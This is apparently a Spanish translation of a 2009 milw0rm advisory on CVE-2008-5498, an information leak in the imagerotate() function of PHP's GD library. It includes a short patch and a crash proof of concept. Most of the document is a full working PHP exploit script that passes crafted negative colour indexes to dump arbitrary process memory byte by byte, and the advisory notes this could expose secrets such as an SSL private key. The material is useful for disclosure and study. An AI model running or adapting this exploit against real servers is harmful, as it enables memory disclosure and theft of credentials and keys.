Vulnerabilidades: PHP 5.2.8 Libreria GD
PHP - gd library - imageRotate()function Information Leak Vulnerability
Descubierto por: Hamid Ebadi,
Investigacion y Exploit: Mohammad R. Roohian
CSIRT Team Members
Amirkabir University APA Laboratory
Introducción
PHP es un lenguajes de programación web muy popular que es normalmente usado como máquina de script al lado del servidor.
PHP 5 compilado con soporte para la librería GD, incluye una función llamada imageRotate() para rotar una imágen indicando el ángulo de rotación.
Esta función completa el las areas limpias del resultado con el color dado para la rotación.
La librería GD trabaja con imágenes indexadas y imágenes de color verdadero. Un pixel de color verdadero es una DWORD que guarda el color del pixel que puede ser mostrado sin cambio.
En el modo indexado usando un indice con un tamaño de no más de 1 byte, los datos pueden ser obtenidos desde una paleta de color que consiste en un array de colores. La librería GD usa la misma estructura para los dos tipos de imágenes (gdImageStruct).
Un error de implementación errónea puede causar una fuga de información desde la memoria de PHP (o posiblemente del servidor web)
Las vulnerabilidades de fuga de información permite acceso, por ejemplo, a la memoria de Apache que puede contener la clave privada RSA for un certificado SSL. Si un atacante es capaz de leer esto, puede hacer una ataque MITM a las conecciones SSL. Es importante para el existo de este exploit concer exactamente la dirección de memoria. (http://www.php-security.org)
Versión Vulnerable
PHP <= 5.2.8
CVE Candidate Number: CVE-2008-5498
Vulnerabilidad
La función imageRotate no ejecuta ninguna validación en el parámetro clrBack que es usado como indice para los arrays anteriormente mencionado. Una correcta validación para comprobar el indice puede ser:
file: php-x.y.z/ext/gd/libgd/gd.c
3129: gdImagePtr gdImageRotate (gdImagePtrsrc, double dAngle,
int clrBack, int ignoretransparent)
3130:{
3131: gdImagePtrpMidImg;
3132: gdImagePtrrotatedImg;
3133:
3134: if(src == NULL) {
3135: returnNULL;
3136: }
3137:+
3137:+ // Index check
3137:+ if (!src->truecolor)
3137:+ clrBack &= 0xff; // Just keep the first byte
3137:+
3138: if(!gdImageTrueColor(src) && clrBack>=gdImageColorsTotal(src)) {
3139: returnNULL;
3140: }
Proof of concept:
Este script causa un segmentation fault, ya que -9999999 resulta en una lectura de una dirección de memoria inválidad en el proceso PHP
$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,-9999999);
Exploit:
Necesitamos proveer un buen clrBack a imageRotate() y luego calcular el valor de la dirección de memoria deseado usando imagecolorat().
&special_index = /* index of the$address */
$r=imagecreate(300,300);
$gray = imagecolorallocate( $r,111,111,111);
imagefilledrectangle($r,0,0,300,300,$gray);
$tmp =imagerotate( $r, 30,&special_index );
imagePng( $tmp, "test.png" );
?>
——–
|f_b/ |
| / |
| / |
|/image |
| /|
| / |
| / |
| / |
——–
Para leer valores de memoria codificados desde la dirección deseado, usaremos el siguiente script:
$address = /*address to read should bemultiply of 4 */
$src = 0x84cde2c;
// depends on the image size and phpscript length but is constant
$index_b = -(int)(($src - $address +0x810)/4);
$img = imagecreate(5,5);
$tmp = imagerotate ($img,5,$index_b);
$f_b = imagecolorat( $tmp,0,0);
?>
Despues de pasar $index_b como el indice de arrays y rotar $img, la variable b toma el valor de $address.
El color en [0,0] debe ser completado con cualquier color de fondo. Todo lo que necesitamos hacer es decodificar este valor, el valor final de $f_b es calculado como sigue:
$f_b = gdTrueColorAlpha( M[$address-512],
M[$address-255],
M[$address+0],
M[$address+1034]);
Decodificando $f_b
Como se puede ver en el código fuente $f_b es calculado asi:
———————————————————-
a :A4 A3 A2 A1
r : R4 R3 R2 R1
g : G4 G3 G2 G1
b : B4 B3 B2 B1
———————————————————-
$f_b : F4 F3 F2 F1
———————————————————-
Exploit:
/*
edi = src
esi = clrBack ( -205923 for core_globals safe mode ( 0x IF APR SM MQS) sample: 0x01 00 SM 00 )
(
zend_bool magic_quotes_sybase; MQS
zend_bool safe_mode; SM
zend_bool allow_call_time_pass_reference; APR
zend_bool implicit_flush; IF
)
0x080ed27f : mov 0x10(%edi,%esi,4),%ebx
mov ebx, [edi+esi*4+10]
test case:
edi = 0×084c6128
esi = 0xffee07b1(-1177679) values less than this will crash.
=>
ebx = 0×8047ff6
if (a>127) {
a = 127;
}
since alpha blending is on by default, the 32th bit of dumped address cant be detected.
*/
$debug = 0;
$address = hexdec($argv[1]);
$addressSave = $address;
$count = $argv[3]+1;
$mode = $argv[2];
$src = 0×84cde2c;
$s = 10; //image size
$GLOBALS["image"]=imagecreate($s,$s);
$r = $GLOBALS["image"];
if( $debug )
echo “Image created.n”;
function getDataFromImage( $index ) {
$tmp = imagerotate ($GLOBALS["image"],5,$index);
return imagecolorat( $tmp, 0,0);
}
$eor = 0;
while( $address < $addressSave+$count*4 ) {
// indexes
$index_b = (int)(($src - $address + 0×810)/4);
$index_g = $index_b + 256;
$index_r = $index_b + 512;
$index_a = $index_b - 1034;
//$index_gG is the same as index of r
$index_gR = $index_g + 512;
//$index_rG is the same as index of gR
//$index_gGg is the same as index of gR
// fuctions
$f_b = getDataFromImage( -$index_b );
$f_g = getDataFromImage( -$index_g );
$f_r = getDataFromImage( -$index_r );
$f_a = getDataFromImage( -$index_a );
$f_gR = getDataFromImage( -$index_gR );
/********************* Byte 1 **********************/
// b byte 1
$byte_b1 = $f_b & 0×000000ff;
if( $debug )
printf( “b:1-0x%xn”, $byte_b1 );
//g byte 1
$byte_g1 = $f_g & 0×000000ff;
if( $debug )
printf( “g:1-0x%xn”, $byte_g1 );
//r byte 1
$byte_r1 = $f_r& 0×000000ff;
if( $debug )
printf( “r:1-0x%xn”, $byte_r1 );
//a byte 1
$byte_a1 = $f_a & 0×000000ff;
if( $debug )
printf( “a:1-0x%xnn”, $byte_a1 );
/* Relative */
// gG byte 1
// this is relative g to `g`( suppose that ‘g’ is a b). so its right at the position of r.
$byte_gG1 = $byte_r1;
// gR byte 1
// this is relative r to `g`( suppose that ‘g’ is a b)
$byte_gR1 = $f_gR & 0×000000ff;
// rG byte 1
// this is relative g to r( suppose that ‘r’ is a b)
$byte_rG1 = $byte_gR1;
/* 2 Level Relative */
// gGg byte 1
// this is relative g to `gG`( suppose that ‘gG’ is a b)
$byte_gGg1 = $byte_gR1;
/********************* Byte 2 **********************/
// b byte 2
$sum_b2_g1 = (($f_b & 0×0000ff00) >> 8 );
$byte_b2 = $sum_b2_g1 - $byte_g1;
$borrow_b2 = 0;
if( $byte_b2 < 0 )
$borrow_b2 = 1;
$byte_b2 = $byte_b2 & 0×000000ff;
if( $debug )
printf( “b:2-0x%x t0x%xn”, $byte_b2, $f_b );
// g byte 2
$sum_g2_gG1 = (($f_g & 0×0000ff00) >> 8 );
$byte_g2 = $sum_g2_gG1 - $byte_gG1;
$borrow_g2 = 0;
if( $byte_g2 < 0 )
$borrow_g2 = 1;
$byte_g2 = $byte_g2 & 0×000000ff;
if( $debug )
printf( “g:2-0x%x t0x%xn”, $byte_g2, $f_gG1 );
// r byte 2
$sum_r2_rG1 = (($f_r& 0×0000ff00) >> 8 );
$byte_r2 = $sum_r2_rG1 - $byte_rG1;
$byte_r2 = $byte_r2 & 0×000000ff;
if( $debug )
printf( “r:2-0x%x t0x%xnn”, $byte_r2, $sum_r2_rG1 );
/* Relative */
// gG byte 2
$byte_gG2 = $byte_r2;
/********************* Byte 3 **********************/
// b byte 3
$sum_b3_g2_r1_br2 = (($f_b & 0×00ff0000) >> 16 );
$sum_b3_g2_r1 = $sum_b3_g2_r1_br2 - $borrow_b2;
$sum_b3_g2 = $sum_b3_g2_r1 - $byte_r1;
$byte_b3 = $sum_b3_g2 - $byte_g2;
$borrow_b3 = 0;
if( $byte_b3 < 0 )
{
$borrow_b3 = (int)(-$byte_b3 / 0xff) + 1; // for borrows more than one
if( $debug )
printf( “nborrow was: %dn” , $borrow_b3 );
}
$byte_b3 = $byte_b3 & 0×000000ff;
if( $debug )
printf( “b:3-0x%x t0x%xn”, $byte_b3, $sum_b3_g2 );
// g byte 3
$sum_g3_gG2_gR1_br2 = (($f_g & 0×00ff0000) >> 16 );
$sum_g3_gG2_gR1 = $sum_g3_gG2_gR1_br2 - $borrow_g2;
$sum_g3_gG2 = $sum_g3_gG2_gR1 - $byte_gR1;
$byte_g3 = $sum_g3_gG2 - $byte_gG2;
$byte_g3 = $byte_g3 & 0×000000ff;
if( $debug ) {
printf( “f_g: 0x%xn” , $f_g);
printf( “sum_g3_gG2_gR1_br2: 0x%xn” , $sum_g3_gG2_gR1_br2 );
printf( “sum_g3_gG2_gR1: 0x%xn” , $sum_g3_gG2_gR1 );
printf( “sum_g3_gG2: 0x%xn” , $sum_g3_gG2 );
printf( “g:3-0x%x t0x%xnn”, $byte_g3, $sum_b3_g2 );
}
/********************* Byte 4 **********************/
// b byte 4
$sum_b4_g3_r2_a1_br3 = (($f_b & 0xff000000) >> 24 );
$sum_b4_g3_r2_a1 = $sum_b4_g3_r2_a1_br3 - $borrow_b3;
$sum_b4_g3_r2 = $sum_b4_g3_r2_a1 - $byte_a1;
$sum_b4_g3 = $sum_b4_g3_r2 - $byte_r2;
$byte_b4 = $sum_b4_g3 - $byte_g3;
$byte_b4 = $byte_b4 & 0×000000ff;
if( $debug ) {
printf( “f_b: 0x%xn” , $f_b);
printf( “sum_b4_g3_r2_a1_br3: 0x%xn” , $sum_b4_g3_r2_a1_br3 );
printf( “sum_b4_g3_r2_a1: 0x%xn” , $sum_b4_g3_r2_a1 );
printf( “sum_b4_g3_r2: 0x%xn” , $sum_b4_g3_r2 );
printf( “sum_b4_g3: 0x%xn” , $sum_b4_g3 );
printf( “b:4-0x%xnn”, $byte_b4);
}
/********************* Byte **********************/
if($mode == 0) { //text mode
printf( “%c%c%c%c”, $byte_b1, $byte_b2, $byte_b3, $byte_b4);
} elseif( $mode == 1) {
// b
if( !$eor )
printf( “0x%x:t”, $address );
printf( “0x%x(%c)t0x%x(%c)t0x%x(%c)t0x%x(%c)t”, $byte_b1, $byte_b1,
$byte_b2, $byte_b2,
$byte_b3, $byte_b3,
$byte_b4, $byte_b4 );
$eor = !$eor;
if( !$eor )
echo “n”;
} else {
$val = ($byte_b4 << 24) + ($byte_b3 << 16) + ($byte_b2 <<
+ $byte_b1;
printf( “0x%x: 0x%xn”, $address, $val );
}
$address+=4;
}
?>
Creditos
This vulnerability has been discovered by Hamid Ebadi from Amirkabir University of Technology APA laboratory.
autcert@aut.ac.ir
https://www.ircert.cc
Disclosure: October 2008
Report to vendor: December, 10, 2008
# milw0rm.com [2009-01-02]
traducido por byteFreak
Posted in Vulnerabilidades | No Comments »